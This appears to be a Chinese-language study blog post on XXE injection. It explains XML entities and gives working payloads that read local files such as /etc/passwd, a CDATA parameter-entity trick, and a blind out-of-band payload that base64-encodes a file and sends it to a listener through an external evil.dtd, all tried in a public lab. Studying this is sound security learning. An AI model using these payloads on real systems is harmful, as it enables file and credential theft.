XXE漏洞学习
XXE漏洞简介
XXE 全称XML External Entity,既XML外部实体注入,当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
基础知识
XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。
xml文档的基础格式
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<! ENTITY test SYSTEM "file:///etc/passwd"> //实体
<!ELEMENT message (receiver)> //以下两行是声明的xml的子元素
<!ELEMENT receiver (#PCDATA)>
<message>
<receiver>&test</receiver>
</message>
XML 文档可以分为三个部分XML声明、DTD文档类型定义(可选)、文档元素,其中XXE漏洞出现的位置就是DTD文档部分,在引用外部实体的时候,且内容可控,则造成XXE漏洞的产生。
实体可以简单的分为两类
- 参数实体(用%声明,用%引用。 DTD中声明,DTD中引用)
- 其余实体(直接用实体名称声明,使用&引用。 DTD中声明,xml中引用)
1、上文中的实体类型便为外部实体的一种,在测试XXE漏洞是,若是存在回显的情况便是用以下格式进行测试
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r> //确定为回显元素
2、当要读取的文件内容存在特殊字符,例如“<”,“ >”等特殊符号时,会发生报错,无法读取回显内容,这时应当使用CDTATA来解决该问题,由于在XML并不支持多个实体连续引用,而必须在DTD中拼接好,然后在XML中进行引用。在DTD中拼接时,只能使用参数实体,既可成功读取到含有特殊字符的文件内容。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/Windows/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:83/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
dtd 文档内容如下
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
3、无回显时(Blind OOB XXE)外带请求读取文件
payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1:83/evil.dtd">
%remote;%int;%send;
]>
dtd文件内容
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:1223?p=%file;'>">
在payload中看到连续调用了三个请求实体%remote;%int;%send;,首先%remote先调用,调用后请求83端口的evil.dtd文件,然后%int调用test.dtd中的%file,%file就会去获取服务器上的test.txt文件,然后将返回的结果进行base64编码再填充到%send中(实体内容不能有%,所以进行html编码为%),调用%send,将内容发到我们监听的服务器上(这里我用本机演示的),这就实现了外带数据的效果,解决了XXE无回显的问题。
漏洞修复方法
- 禁用外部实体
XXE漏洞实验
实验环境 XXE-lab:https://github.com/c0ny1/xxe-lab,php+mysql使用phpstudy简单搭建了一个实验环境
经过测试可以发现username元素可以进行回显
使用外部实体注入的方式,使用file协议读取内容
接下来使用CDATA来读取存在特殊字符的文件
接下来使用外带的方式,实用网站工具http://ceye.io/profile
注:实验内容均是参考本文的内容进行的.
参考链接
https://p0rz9.github.io/2019/02/27/xxe/
https://www.cnblogs.com/-mo-/p/11261584.html
https://xz.aliyun.com/t/3357?accounttraceid=45aa879a15a74107ace0515862f0d082ycfq
https://flamepeak.com/2019/12/16/XXE-explanation-and-usage-20191216/